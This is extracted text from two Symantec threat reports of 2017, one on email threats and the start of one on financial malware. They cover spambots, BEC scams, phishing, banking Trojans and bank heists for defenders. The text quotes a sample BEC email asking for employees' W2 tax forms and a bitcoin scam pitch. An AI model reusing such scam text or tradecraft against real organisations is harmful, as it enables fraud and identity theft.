rate seen since November 2014, when the now-defunct Asprox
botnet sent out a large volume of holiday-purchase-themed,
URL spam —and that was a once-off occurrence.URL malware rate
05101520
J M A M F JAN
2017Percent of email malware
9.5
7.2
5.29.817.616.8Internet Security Threat Report
Spambots
03SectionSpambotsBack to Table of ContentsPage 12
03 Email Threats 2017
The primary method that malicious email is
distributed is by way of spambots. Spambots
often take the form of a module within
a larger botnet, being one of many tasks
that the particular botnet carries out.
In other cases a spambot is a self-contained
threat installed on a compromised computer
through a number of different means and
exclusively focused on sending spam.
Others still are groups of attackers responsible
for varied campaigns, using a variety of tools, as
opposed to maintaining a signature family of threats.
While these cases don’t fall neatly into a particular
spambot family, their activity is worth mentioning.
Necurs
As far as botnets go in 2017, Necurs is responsible for the
largest amount of malicious email activity. This is despite the
folks behind the botnet having taken the first three months of
the year off. However, the botnet’s activity is far lower than
what was seen in the lead-up to Christmas 2016.
Necurs botnet activity
J M A M F JAN
2017Necurs botnet activity
Increased
activity
It’s hard to underestimate the impact that this botnet has
made on the threat landscape. During the three-month period
that Necurs was offline there was a dramatic decline in a
variety of malicious activity. Email malware rates plummeted,
the number of downloaders blocked per month dropped, and
the number of infections from certain payloads, known to be
distributed by Necurs, also declined. When the botnet returned
in late March, the rates for all of these threats also rose once
again. The reason for the disappearance of this botnet remains a
mystery. It’s possible to speculate that the disappearance was
indirectly related to the disappearance of other botnets during
2016. Popular botnets, such as those run by the Avalanche
crimeware group, were shut down last year and in some cases
the botnet administrators were arrested. It’s possible that
the folks behind Necurs were spooked by this activity and
decided to close up shop. Alternatively, the three-month hiatus
could have been time spent shoring up measures to remain
anonymous or the original administrators could have sold
the botnet on to a new group of attackers. Regardless, while
the botnet has returned, it has yet to reach the same level of
activity that was seen prior to its disappearance in late 2016.
Some campaigns of note include invoice-themed spam with a
malicious PDF attachment that drops a macro and downloads
Jaff, emails purporting to be cancelled banking transactions
with .rar and .7z files containing Locky, and pump-and-dump
spam intended to bump up stock prices.
| Downloader types: JavaScript , Macro , VBS
| Payloads: Locky , Globelmposter , Jaff, Trickybot
BlankSlate
Following Necurs is a malicious spam campaign group known
more for the structure of the email messages they send than
the tools they use to spread them. BlankSlate got its name due
to the email subject and message bodies being empty. The fact
that the email only includes an attachment with no context
could be a deliberate ploy to entice users to open them in order
to find out why the blank email has been sent. Alternatively, it
could simply be a way to cut down on overhead. If the attackers
behind it don’t have to concern themselves with crafting new
socially engineered text to include in a spam email then it’s
less work. It’s also possible that attackers wanted to minimize
the footprint of the spambot, making it more difficult to detect.
In one campaign in particular, BlankSlate sent .zip files that
contained the Cerber ranomware threat.
| Downloader types: JavaScript , Macro
| Payloads: Cerber , Locky , BTCware
Fioesrat
Fioesrat is a spambot that is usually installed by attackers who
hack into legitimate PHP web servers and install a PHP-based
email client for sending out spam. In some cases they simply
implement the built-in mail function in PHP , while in others
they utilize their own custom scripts to send email over SMTP .
The hacked web servers that we’ve observed tend to be used SpambotsBack to Table of ContentsPage 13
03 Email Threats 2017
in the distribution of the Nemucod family of threats—a down -
loader that leads to a ransomware payload. In other situations,
ad-clicking threats such as Kovter are delivered as the payload,
where its intended purpose is to boost ad-clicking revenue for
the attackers.
| Downloader types: JS.Nemucod
| Payloads: Locky , Kovter , Ransom.Nemucod
Silentbrute
This is one of the smaller botnets out there, but nonetheless
Silentbrute has been active in 2017. Threats usually arrive as
an attached Office document. If the user opens the document,
a macro inside prompts the user to enter a password that is
contained in the message body of the email in order to launch
the downloader and download the payload.
| Downloader types: Macro
| Payloads: Various banking Trojans
Pandex
The longest-active botnet in our list, Pandex has been around
for more than 10 years. It has evolved and morphed over the
years, assisting in the distribution of a variety of malware
families, such as W32.Cridex and the Dyre infostealer. A recent
campaign of note distributed the Snifula banking Trojan in
Japan, though the author of this threat has since been arrested .
In other recent activity, Pandex has been observed distributing
the Sage 2.0 ransomware (Ransom.Cry ) using sexually explicit
spam emails.
| Downloader types: Macro , JavaScript
| Payloads: Snifula , Ransom.Cry
Oliner
The Oliner botnet (a.k.a. Onliner) has been active for a while,
but grabbed headlines when it inadvertently exposed its own
email spamming list that included 711 million addresses.
Downloader types: JavaScript
Payloads: Reports of Snifula
Sarvdap
A smaller spambot distributed by the Dromedan botnet (a.k.a.
Andromeda). What is interesting with the Sarvdap spambot
is that, before it begins sending spam, it checks the IP of the
compromised computer against a Realtime Blackhole List (RBL). If it finds the IP on the list, it terminates its malicious
processes. This ensures that the systems that send spam in
this spambot aren’t prevented from doing so by being on the
blacklist.
| Downloader types: JavaScript , Macro
| Payloads: Dromedan
Emotet
A Trojan with botnet capabilities, Emotet is known for distrib -
uting spam that appears as an update to Adobe Reader. When
the user launches the downloader, it gives the impression that
the installation failed, leaving the user none the wiser. In other
cases the botnet sends spam that simply contains a malicious
URL. The threat adds compromised computers to the botnet
and implements a banking Trojan module to steal information.
| Downloader types: Macro , JavaScript
| Payloads: Various banking Trojans
Waledac
One major spambot that has been active in recent years is the
notorious Waledac (a.k.a. Kelihos) botnet. While the botnet
was certainly active at the beginning of the year, the latest
takedown attempt by the FBI in April largely knocked the bot
offline and resulted in the arrest of the botnet’s alleged owner .
Over the years there have been a number of attempts to bring
Waledac down, only to see it return at a later date. Time will
tell how successful this latest attempt to dismantle the botnet
has been.
| Downloader types: JavaScript
| Payloads: Ransom.Troldesh
Waledac (Kelihos) botnet activity
J M A M F JAN
2017Waledac botnet activity
Decreased
activityInternet Security Threat Report
BEC scams
04SectionBEC scamsBack to Table of ContentsPage 15
04 Email Threats 2017
Imagine that you are a junior-level accountant in
a medium-sized enterprise. It’s almost 5:00 p.m.
on a Friday, before a three-day weekend, and
you’re the last one in your department to wrap up.
Just then an email arrives from an executive from
within the company with a subject line that reads
“URGENT”. There isn’t much to the email, she’s just
asking if you are at your desk. Naturally, you reply
that you are and ask what you can do to help.
The follow-up email itself appears hastily written,
with spelling and formatting errors, but it seems
as though the executive is in a hurry. Apparently
an invoice for major supplier has not been paid
and they are threatening to withhold much-needed
supplies. If it isn’t resolved immediately this
could have a knock-on effect to your company’s
own production and distribution plans.
The executive includes details on the outstanding
amount, the supplier’s banking details for
payment, and asks if you can initiate a wire transfer
immediately, before the banks close for the weekend.
The question is: What do you do?
The threat of business email compromise (BEC) scams
continues to grow, as does the financial impact of the scam.
According to recent analysis by the FBI , over US$5 billion in
losses have occurred between late 2013 and the end of 2016.
It’s not just large enterprises that are being targeted either, as
businesses of all sizes have reported attempted attacks.
BEC scams have evolved to take on many forms. Most
commonly the scammer impersonates an executive within the
company requesting an urgent wire transfer. The executive in
question may have had his or her email account compromised,
but oftentimes the executive’s email address has been spoofed.
This email is often sent to an employee within the company or,
in some cases, directly to a bank that holds the accounts of the
targeted company.
In other cases the scammer masquerades as an attorney
working on a time-sensitive matter, attempting to pressure the
target into transferring funds near the end of a business day
or workweek. The scammer can also play the part of a supplier
with a relationship with the targeted company, claiming that
a bill has not been paid and requesting the money be sent to a
bank account that they provide the details for. Latest trends
In 2017, we have seen approximately 8,000 businesses targeted
by BEC scams in a given month. On average there were 5.2 BEC
scam emails sent to an organization each month. However,
not all organizations are targeted equally and some receive far
more attempts per month than the average.
BEC emails received per organization
02468
J M A M F JAN
2017BEC emails per organization
4.36.8
4.55.15.9
4.6
Looking at the content of BEC scam emails, the dominant motif
seen in the subject lines tends to carry a sense of urgency,
requiring immediate action, in the hopes that the recipient
will be coerced into acting quickly without thinking too much
about what it is he or she is being asked to do. In fact, when
looking at the top email subject lines seen in emails we have
identified as BEC scams, this trend becomes all the more clear.
Top subject lines in BEC scam emails
Subject Percent of BEC emails
payment 18.9
urgent 10.3
request 8.6
attention 7.3
transfer 2.4
today 2.1
update 2.0
51hr 1.8
attn 1.4
w2 1.4 BEC scamsBack to Table of ContentsPage 16
04 Email Threats 2017
The emails tend to be short and to the point, often contain -
ing spelling errors that would normally raise a red flag when
dealing with other phishing scams. However, when paired
with this sense of urgency, and the apparent direct message
from someone in power, such errors are often overlooked or
explained away as the sender simply being busy and in a rush.
Beyond wire transfers
One of the more interesting developments in the BEC sphere
are attacks where the scammers are attempting to obtain other
assets, as opposed to directly stealing money.
In one BEC campaign early in 2017 the scammers appeared to
be focused on obtaining the employee’s American tax form,
the W2, from the targeted organizations. For example:
Subject:
Urgent W2 Request
Message body:
Hi [TARGET],
How are you today? I need you to send me the W2 of
all the Company’s Employees,I need it for a Quick
Review
thanks
[IMPERSONATED EXECUTIVE]
The scammers in this case could be looking to gather a large
cache of sensitive information across the organization, either
as reconnaissance for further attacks or in order to carry
out identity theft with the information contained in the tax
records.
In another case, attackers targeted two small record labels
involved in the production of music for pop singer Lady Gaga.
The attackers, impersonating an executive at Interscope
Records , sent an email message to executives at both labels
asking them to send on stem files—files commonly used in the
production of music. These executives, falling for the ruse,
complied with the request, resulting in the exposure of new,
unreleased songs. This instance highlights just how easily a
supply chain can be manipulated with BEC scams.
Typosquatting
One trend that has become more prominent in the BEC
landscape is typosquatting. Attackers are frequently regis -
tering domains that look similar to the official email
addresses of the organizations they intend to target. The
domains may have a character or two misplaced, for instance
“amce_inc.com” for the legitimate business, “acme_inc.com.” (In other, less common instances, attackers may use a different
domain, or simply add words to masquerade as a particular
department, such as “acme_inc_sales.com.”) These typosquat -
ted domains have become common enough that, when looking
at 100 customers over one 90-day period, we identified more
than 4,000 typosquatted domains.
Phishing
While traditional phishing scams have steadily declined over
the last few years, it appears that they may have begun to
creep up slightly. There is no question that the phishing rate
continues to trend downward, but in the second quarter of
2017, the rates have returned to similar levels seen one year
prior. Whether this is an indication that simple phishing scams
are making a comeback remains to be seen.
Phishing rate
10,00080006000400020001
J MA MF JAN
2017D N O S AJ J MA MF JAN
2016Phishing rate (1 in )
Phishing scams of note
In a rather peculiar incident in May, a phishing scam was
discovered that could provide an attacker access to a user’s
Gmail account and Google Contacts. The attack worked by
providing a legitimate Google sign-in screen, leading to a
“continue to Google Docs” link. However, this link points to a
non-Google-associated, third-party app simply named “Google
Docs.”
While a clever attack on the surface, what followed was even
more bizarre. The following day a Twitter account named
@EugenePupov appeared, claiming that this wasn’t a phishing
scam but simply a Coventry University project gone awry.
However, Coventry University stated that no one by that name
was enrolled at, or had ever attended, their institution. All told,
Google stated that 0.1 percent of their users were impacted
by this scam; some estimates put this at close to one million
accounts.Internet Security Threat Report
Spam
05SectionSpamBack to Table of ContentsPage 18
05 Email Threats 2017
“Two years from now, spam will be solved.”
–Bill Gates, January 24, 2004
The most predictable of annoyances in the
email landscape is spam. While it has declined
since this infamous quote from Bill Gates,
often blocked or relegated to a folder that most
users ignore entirely, it still sticks around.
While seemingly in decline, the spam rate continues to
comprise more than half of all email traffic. In the last decade,
only once has it dipped below half—back in June, 2015.
Year on year, we’ve watched the spam rate decline. Beginning
in 2011, back when the spam rate was 75 percent, the rate has
dropped on an annual basis to the point where it appeared to
bottom out at 53 percent for both 2015 and 2016.
However, dig a little deeper and a slightly different trend
emerges. While the calendar years for 2015 and 2016 average
out to be the same, it appears the spam rate may have actually
hit rock bottom in the latter half of 2015. Breaking the spam
rate into six-month intervals shows that it has been slowly, but
steadily, increasing since that point. For the first half of 2017,
this rate has reached 54 percent and all signs point to a contin -
uation of this upward trajectory.
Spam rate by half year
51.051.552.052.553.053.554.054.555.055.5
2017 H2
(estimated)2017 H1 2016 H2 2016 H1 2015 H2 2015 H1Spam rate by half year (%)
As of the end of the first half of 2017, this upturn translates
into an increase of 11 more spam emails in your inbox each
month than a year prior. However, some industries see far
more than that. Users who work in the manufacturing, retail
trade, construction, and mining sectors all saw around 1.5
times more spam emails per month on average in the first
six months of 2017. Users in the wholesale trade industry—
establishments that sell goods to retailers, industrial and
commercial contractors, etc.—potentially see twice as much
spam as the average user would.Advertising spam
It comes as no surprise that the primary culprits in the distri -
bution of spam are spambots. Many of the usual suspects,
which receive plenty of attention for distributing malware, are
also involved in spreading non-malicious varieties of spam. For
instance, Necurs was observed sending out pump-and-dump
spam when it returned in early April.
However, there are other spambots that appear to focus almost
exclusively on advertising spam. The Gamut botnet is one such
instance. In fact, when looking strictly at advertising spam
estimates gathered from Symantec honeypots, there are times
Gamut appears to have sent more of this type of spam than the
Necurs botnet. A sample of the emails sent show campaigns
hawking pharmaceuticals and diet pills in multiple languages.
Spam campaign advertising pharmaceuticals
In other cases, it appears as though the scammers are attempt -
ing to recruit unsuspecting users looking to make a fast buck
with work-from-home opportunities. However, these oppor -
tunities are likely money mule scams , where the participants
are asked to launder money for the scammers. These scams
generally operate by getting the mule to convert bitcoins into
another currency, or vice versa, using bitcoin ATMs or bank
accounts of their own, keeping a small portion for themselves.
However, these activities are highly illegal and put users who
participate in real, legal danger .SpamBack to Table of ContentsPage 19
05 Email Threats 2017
Bitcoin scam email
English translation:
I just joined Bitcoin Code.
Let me explain to you...
No, I’m not a millionaire yet.
But I earned a solid $ 13,150.26 using this brand
new system.
And that was only within 24 hours.
You have heard well:
By this time tomorrow, you could also have more
than $ 13,000 in your checking accounts.
The Tofsee spambot, another botnet sending out advertis -
ing spam, has recently been involved in dating spam. The
messages tend to include obfuscation, such as the inclusion of
equal signs through the message body, in the hope that the
email messages can make it past spam filters. The links within
the emails lead to phishing sites, where any personal details
entered are likely used for identity theft or further romance
scams.
Example Tofsee email
The website Tofsee email links to
Other distribution methods
While responsible for most spam, spambots aren’t the only
method of distribution. Another way that spam often ends up
in your inbox is actually from things you signed up for.
There are plenty of legitimate organizations that use email as
a method to advertise their wares. However, problems arise
when organizations do not offer a way for you to unsubscribe
from their mailing list. These bulk email senders gone rogue
sometimes even share your email address with other other
bulk senders, further increasing the amount of unwanted
spam in your inbox.
There are select cases of ISPs gone rogue as well. For instance
one European-based ISP has garnered a reputation for sending
spam, phishing scams, and even malware. The abuse from this
ISP has been severe enough that wide swaths of IPs belonging
to the ISP have been blocked and emails coming from their
domains have automatically been sent to spam folders.
The cost of spam
When looking at spam on an email-by-email basis, its impact
seems trivial at best. As an individual user in a corporate envi -
ronment, you may spend no more than 5-10 minutes a day
clearing out spam (assuming your company has no spam filters
in place). Simply identifying and dismissing spam is a small
footprint in overall email usage.SpamBack to Table of ContentsPage 20
05 Email Threats 2017
However these costs add up when looking at the organization
as a whole. Based on median salary data from the U.S. Census
Bureau, spending 10 minutes managing spam adds up to $4.51
per employee each day. That’s $1,177.42 spent annually for
one employee to filter spam.
For every 100 employees a business has, this comes out to
$117,741.67 per year. That’s the equivalent of having two
full-time employees dedicated to simply managing spam—a
far less trivial figure.Internet Security Threat Report
User email
behavior
06SectionUser email behaviorBack to Table of ContentsPage 22
06 Email Threats 2017
Quite often the way email is used can lead to
security-related issues. For instance, if a user is
careless when opening unsolicited attachments it
can lead to a malware infection. In other cases, a user
that inadvertently shares sensitive data to a large
email distribution list runs the risk of a data breach.
According to the latest data presented in the Symantec Shadow
Data Report, 29 percent of all emails within an organization
are widely distributed throughout that organization, shared
externally with external contractors and partners, or shared
with the public. This in-and-of-itself isn’t a huge issue, and is
often a necessity when doing business.
The risk associated with such emails comes into play when
sensitive data is involved. Of these broadly shared emails,
nine percent of them contain sensitive data, such as person -
ally identifiable information (PII), payment card information
(PCI), and protected health information (PHI). In fact, almost
two-thirds of broadly shared documents with sensitive infor -
mation contained PII, while almost a third contained PCI.
Broadly shared emails with sensitive information
Personally Identifiable
Information (PII)Protected Healthcare
Information (PHI)
Payment CardInformation (PCI)9%
64% 27%
Beyond sensitive information of this nature, there are also
instances where other company data is broadly shared, such
as distributing source code thorugh email. In fact, one out of
every 18 emails that contain code is broadly shared.
Sometimes it is necessary to share these various types of data
widely, and email can be a good way to distribute it quickly. This
is generally fine, so long as the sender implements encryption.
The good news is that overall there does appear to be a defin -
itive move towards the adoption of encryption when it comes
to transmitting email. Over the past two years, Symantec has
seen a steady increase in the rate of transport layer security
(TLS) adoption when businesses send email to their partners
and clients. TLS is an encryption protocol that can secure the
communication channel over which email traffic is sent to the
server. Number of registered TLS email domains
100,000150,000200,000
JMAMF JAN
2017DNOSAJJMAMF JAN
2016DNOSAJNumber of TLS domains
The adoption of TLS improves the security of email messages,
at least while they are in transit. However, it does not encrypt
the emails themselves, which could still feasibly be intercepted
at either end of the transmission.
Fortunately it appears that in most cases users are encrypt -
ing the email they send, using standards like S/MIME or PGP .
However, there are cases where encryption isn’t present and
one out of every nine emails that lack encryption contains
sensitive information. Clearly more could be done to ensure
that the emails themselves are encrypted.Internet Security Threat Report
Protection and
best practices
07SectionProtection and best practicesBack to Table of ContentsPage 24
07 Email Threats 2017
Adopting a multilayered approach to
security minimizes the chances of infection.
Symantec has a strategy that protects
against malware in three stages:
01 Prevent: Block the incursion or infection and prevent the
damage from occurring
02 Contain: Limit the spread of an attack in the event of a
successful infection
03 Respond: Have an incident response process, learn from
the attack and improve the defenses
Preventing infection is by far the best outcome, so it pays to
pay attention to how infection can be prevented. Email is the
most common infection vector for malware. Adopting a robust
defense against this infection vector will help reduce the risk
of infection.
Ensuring there is adequate incident response handling also
helps to reduce the risk and impact of an incident if and/or
when one occurs.
Email security
Email-filtering services such as Symantec Email
Security.cloud can help to stop malicious emails before they
reach users. Symantec Messaging Gateway’s Disarm technol -
ogy can also protect computers from email-based threats by
removing malicious content from attached documents before
they even reach the user. Email.cloud technology includes Real
Time Link Following (RTLF) which processes URLs present in
attachments, not just in the body of emails.
In addition to this, Email.cloud has advanced capabilities to
detect and block malicious scripts contained within emails
through code analysis and emulation. It removes all active
content from attachments such as Microsoft Office documents
and PDFs, including macros and JavaScript. A digital carbon
copy of the active content is created and attached to the email
instead, meaning the endpoint is never exposed to the original
malicious content.
Email.cloud can also track and identify emails sent by spambots
proactively at an early stage. This means that more bandwidth
is given to legitimate emails and that spam is filtered as quickly
as possible, preserving resources and ensuring that unwanted
email is not delivered to the company’s clients.
CloudSOC
An industry-leading Cloud Access Security Broker (CASB)
solution, CloudSOC is designed to secure email provided
through cloud apps, such as Office365 and Google applica -tions. Enabling the security features present in CloudSOC
meets a variety of regulatory compliance requirements and
can be integrated with a variety of enterprise security tools.
Download Insight
Symantec Download Insight technology examines files that are
downloaded through or launched by web browsers, messaging
clients, and other portals. Download Insight determines
whether a file is a risk based on reputation.
Download Insight automatically computes reputation and
rating of files, URLs, and websites using the “wisdom of
crowds” (analytics). It classifies every program that it encoun -
ters as either good or bad.
Advanced antivirus engine
Symantec uses an array of detection engines including an
advanced antivirus engine with heuristics, just-in-time (JIT)
memory scanning, machine-learning engines, and emulator.
The emulator enables the engine to heuristically detect encryp -
tion behavior without needing a signature. Together with Auto
Protect, it will detect malicious files when they hit the disk,
bypassing the packers and encryptors employed to evade static
detection technologies.
SONAR behavior engine
SONAR is Symantec’s real-time behavior-based protection
that blocks potentially malicious applications from running
on the computer. It detects malware without requiring any
specific detection signatures. SONAR uses heuristics, repu -
tation data, and behavioral policies to detect emerging and
unknown threats. SONAR can detect malicious behaviors
common to lateral movement and block them. It also employs
machine learning to block programs that exhibit combinations
of thousands of different suspicious behaviors.
Ongoing development
Symantec has a 24/7 Security Technology and Response (STAR)
team responsible for ongoing development and improvement
of generic signatures for email threats. The team carries out
continuous monitoring of email threats and their delivery
chain in order to harvest new samples and ensure robust
detection.
STAR also cooperates with various law enforcement agencies,
sharing details about active botnets and assisting in shutting
them down.Protection and best practicesBack to Table of ContentsPage 25
07 Email Threats 2017
Best practices
In addition, users and administrators should adhere to the
following advice to reduce the risk of email-based attacks:
|Periodically perform a full network audit to identify
any computers sending spam. Compromised computers
should be isolated from the network until they have been
fully cleaned and restored.
|Immediately delete any suspicious emails received,
especially those containing links and/or attachments.
|Be wary of Microsoft Office attachments that prompt
users to enable macros. While macros can be used for
legitimate purposes, such as automating tasks, attackers
often use malicious macros to deliver malware through
Office documents. Microsoft has disabled macros from
loading in Office documents by default. Attackers may use
social-engineering techniques to convince users to enable
macros to run. As a result, Symantec recommends that
users avoid enabling macros in Microsoft Office unless it
comes from a well-known, trusted source.
|Maintain standards through continual monitoring and
ensure the right balance of internal education and
awareness-raising has been implemented—it’s not only
the IT team responsible for security—but everyone in the
organization. Having the right technology in place not
only to prevent attacks and to reduce the risk of an attack
from causing more damage, but also the right technology
to monitor and manage the policies that the organization
needs to implement to maintain the right level of security
going forward. Being secure and meeting strict standards
of compliance and regulations enables businesses to
become more competitive.
|Adopt and enforce industry standards on security, such as
ISO 27002 in order to avoid becoming the weakest link in
your supply chain.
|In the event of a payload arriving on a computer, a critical
step is to limit the spread of the attack. Symantec’s file-
based technologies ensure that any payload downloaded
on the computer will not be able to execute its routines.
|In the case of individuals with private email accounts,
it is advisable to have separate emails for personal
communication, with friends and family, and online
shopping.
|In a corporate environment, it may be advisable to
limit or block the access of personal email accounts on
company networks in order to reduce the risks threats
from these channels pose.About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic,
integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec
operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-report
Symantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
Internet Security Threat ReportISTR
May 2017
Contents
Executive summary,
key findings, and
introduction
Targeted financial heistsInfection, prevalence,
and distributionTactics, techniques,
and proceduresAttacks against ATM,
POS, and mobileDisruptions
and takedownsConclusionProtectionFinancial Threats
Review 2017
An ISTR Special Report
Analyst: Candid WueestInternet Security Threat Report
Contents
3 Executive summary, key findings,
and introduction
6 Targeted financial heists
7 Lazarus
8 Odinaff
9 Infection, prevalence, and distribution
10 Infection vectors
10 Prevalence
11 Threat family distribution
12 Geographical distribution
13 Japan in focus
13 Distribution in relation to configuration
14 Analysis of targeted institutions
16 Tactics, techniques, and procedures
17 Source code merging
17 Sandbox evasion
17 Remote desktop access
18 Diversion18 Webinjects18 Redirection method
19 Session hijacking
19 Fileless load points
19 Overlay forms
19 AtomBombing injection
19 Social engineering attacks
20 What are they stealing?
21
Attacks against ATM, POS, and mobile
22 ATM and POS
22 Android financial threats
24 Disruptions and takedowns
25 Dyre25 Avalanche25 Arrests
26
Conclusion
28 Protection
30 About Symantec
30 More InformationGraphics, Tables, and Charts
5 Overview of common threats against financial institutions
10 Document macro and JS downloader
detections per month in 2016
10 Typical lure email with malicious document attachment
11 Banking Trojan detections on the computer, 2016 and 2015
11 Distribution of financial malware detections
11 Number of financial threat detections in 2016 and 2015
12 Monthly detection count for top four threats in 2016
12 Detection numbers for Snifula and Bebloh in Q1 2017
12 Computers compromised with banking Trojans, by country 2016
13 Countries ranked by percentage of
global detections seen per year
13 Detections in Japan as a percentage of global detections, grouped by two months in 2016.
14 Regional distribution of the three Dridex samples discussed
14 Most targeted countries based on URLs
in webinject configuration
15 Top 10 countries targeted by Android.Fakebank.B
15 Top targeted financial institutions in sample group
17 Percentage of VM aware samples in 2016 per family Internet Security Threat Report
Executive summary,
key findings, and
introduction
00SectionExecutive Summary,
Key Findings, IntroductionBack to Table of ContentsPage 4
ISTR Financial Threats
Review – May 2017 00
Executive summary
Financial threats are still profitable for cyber
criminals and therefore continue to be an enduring part of the threat landscape. From financial Trojans
that attack online banking, to attacks against ATMs
and fraudulent interbank transactions, there are many different attack vectors utilized by criminals.
As we had predicted in 2015, we saw an increase in attacks
against corporations and financial institutions themselves
during 2016. This was evidenced with a series of high-value
heists targeting Society for Worldwide Interbank Financial Telecommunication (SWIFT) customers. While there is no
evidence of any such high value heists on SWIFT customers
this year, the 2016 attacks saw several such institutions lose millions to cyber criminals and nation state supported attackers
such as the Lazarus group .
On average, 38 percent of the financial threats we detected in 2016 were found in large business locations. Most of these
infection attempts were not targeted attacks but were instead due to widespread email campaigns.
Although we have seen a 36 percent decrease in detection
numbers for financial malware in 2016, this is mainly due to earlier detection in the attack chain and more focused attacks.
With more than 1.2 million annual detections, the financial
threat space is still 2.5 times bigger than that of ransomware. For example, the number of Ramnit ( W32.Ramnit ) detections
approximately equaled all ransomware detections combined.
The financial Trojan threat landscape is dominated by three
malware families: Ramnit, Bebloh ( Trojan.Bebloh ), and Zeus
(Trojan.Zbot ). These three families were responsible for 86
percent of all financial Trojan attack activity in 2016. However, due to arrests, takedowns, and regrouping, we have seen a lot
of fluctuations over the last year. For example, Bebloh has all but vanished in 2017 after the Avalanche takedown . Many new
variants of these families have appeared or re-appeared on the market, focusing on filling specific niches. The attackers mainly use scam email campaigns with little variation and simple
attachments. For example, one single Bebloh sample was
responsible for 55,000 global detections in 2016.
Japan was the main focus of financial Trojans Bebloh and Snifula
(Trojan.Snifula ) in 2016, with more than 90 percent of their
activity focusing on the country. It is unclear why these two
threats shifted their attention but there are indications that they
use a shared resource for attacking similar targets. Globally, financial institutions in the U.S. were targeted the most by the
samples analyzed by Symantec, followed by Poland and Japan. We have also seen trends in financial malware attempting to hide configuration files from researchers as well as the move
to redirection attacks or even manually logging into the system to issue large transactions if interesting financial software is
detected.
This paper is an update to last year’s paper ( Financial threats
2015 ). While Symantec and other researchers have published
various research focusing on individual threat families, this
report will discuss the overall changes we have noticed in the
financial threat landscape in more detail.
Key findings
|Cyber crime hit the big time in 2016, with high-profile
victims and bigger than ever financial rewards. The Lazarus attacks that took place in 2016 were also the first time there
was strong indications of state involvement in financial
cyber crime.
|Ramnit was the most active financial Trojan in 2016,
responsible for 38 percent of activity, followed by Bebloh (25 percent) and Zeus (23 percent).
|Three threat families were responsible for 86 percent of all
financial threat attacks.
|Japan was the country with the most infections, followed by
China and India.
|Financial institutions in the U.S. were targeted the most by
the samples analyzed by Symantec, followed by Poland and Japan.
|The number of financial Trojan detections decreased by 36
percent in 2016 (73 percent in 2015).
|Malware authors are obfuscating the lists of attacked bank
URLs, making it impossible to extract exact statistics for all threat families.
|Redirection attacks to fake sites have increased again.
|The phishing rate dropped to 1 in 9,138 emails in March
2017.
|The use of free self-service valid SSL certificates on
malicious sites increased.
|Mobile banking malware targeted at least 170 apps for
credential stealing.
|APT groups are using financial malware to blend in with
more common attacks.
|One Bebloh sample alone was responsible for 55,000 global
detections in 2016
|On average 62 percent of financial threat detections were on
consumer computers.Executive Summary,
Key Findings, IntroductionBack to Table of ContentsPage 5
ISTR Financial Threats
Review – May 2017 00
Introduction
Financial threats, aimed at taking over customer
transactions and online banking sessions, are still a force to be reckoned with. Although crypto-
ransomware is becoming a common choice for cyber
criminals when it comes to making a profit, we still see a significant amount of malware targeting financial organizations and their customers.
Financial institutions have increased security measures
in their interactions with customers and also on their own
infrastructure and backend systems. However, the cyber
criminals have adapted their attacks and are mimicking customer behavior as closely as possible and attacking the
institutions themselves.
Social engineering continues to play a major role in many
attacks. As transaction authentication through mobile
applications or text messages grows in popularity, we also see an increase in mobile malware trying to steal these credentials.
A simplified play book of common financial malware can be
summarized with the following steps:
|The malware is installed on the target computer through any
of the common infection vectors.
|The malware then waits until the user visits an interesting
website and either steals the credentials, modifies the data
inside the browser to its favor, or redirects the traffic to
a remote server under the attackers’ control to perform man-in-the-middle (MitM) attacks.
|Once the attackers have access to the online banking
service, they will try to submit fraudulent transactions.
|Often the money is sent to so-called money mules, whose
sole job is to withdraw the money and send it back to the
criminals by other means.
The attacks are not only targeting the banks’ customers. We
have seen several attacks against the financial institutions
themselves, with attackers attempting to transfer large sums in
fraudulent interbank transactions.
Attacks against retail businesses and hotels, targeting point of
sales (POS) terminals, continued in 2016. Even ATM threats are still active and evolving, although they often require physical
access to the machine.
Financial institutions are confronted with attacks on multiple
fronts. The main two types are attacks against their customers
and attacks against their own infrastructure.Attacks at customer sideOverview of common threats
against financial institutions
Attacks against the financial institution Financial
Trojans Phishing
Social Engineering Mobile Fraud Credit Card
Fraud
Disruption
/ DDOS Bank2Bank
Fraud Blackmailing
ATM/POS Attacks Common Attacks
Overview of common threats against financial institutionsInternet Security Threat Report
Targeted financial
heists
01SectionTargeted financial heistsBack to Table of ContentsPage 7
01ISTR Financial Threats
Review – May 2017
Targeted financial heists
While the cyber crime threat landscape is typically dominated
by indiscriminate, mass attacks, 2016 saw the emergence or
re-emergence of a handful of sophisticated cyber crime groups
going after financial institutions themselves instead of their customer base. Even though such sophisticated attacks take
longer to conduct and have a lower success rate, when they are
successful they can yield a high profit, making it more attrac-tive to some groups. These criminals leverage techniques
typically seen in advanced targeted attacks. The resources,
knowledge, patience, and sheer bravado needed to execute these attacks demonstrates how cyber crime is potentially
entering a new era.
There are quite a few groups who are after these big targets. For
example, Dyre (Infostealer.Dyre ) had a specialized team that
targeted larger enterprise customers, trying to scam them out of transactions of $500,000 or more. The targets where hand-picked and infected using spear-phishing emails. Elaborate
social engineering tactics with interactions by phone helped
the criminal gang carry out successful fraudulent transactions.
Another example is the group behind Trojan.Redaman, which
focused on remote banking systems in Russia. It is common
for small and midsized companies to gather up payment transactions and issue them grouped together at the end of
the month. Trojan.Redaman modifies the transaction batch
files generated by enterprise accounting software before they are processed by the remote banking system tool. This allows
the attackers to sneak in their own transactions unnoticed. All
they have to do then is wait until the user submits the batch for processing. In some of the attacks the attackers installed a
modified version of the remote access tool VNC, allowing them
to connect to the compromised computer and explore further options for issuing transactions.
Another typical example is the Buhtrap group , which uses a
first stage loader to analyze the target and identify if there are
tools related to financial transactions installed. If the target is
of interest, a specific payload will be deployed. Of course this
also means that most sandboxes will not receive the actual final payload due to the absence of any financial software. The
group is believed to have successfully stolen more than $25
million from banks in Russia and Ukraine.
In some cases, attacks against financial institutions do not
lead to fraudulent transactions. In these cases, attackers can
still attempt to profit from the break-ins by selling stolen information, profiting from insider trading on gained infor -
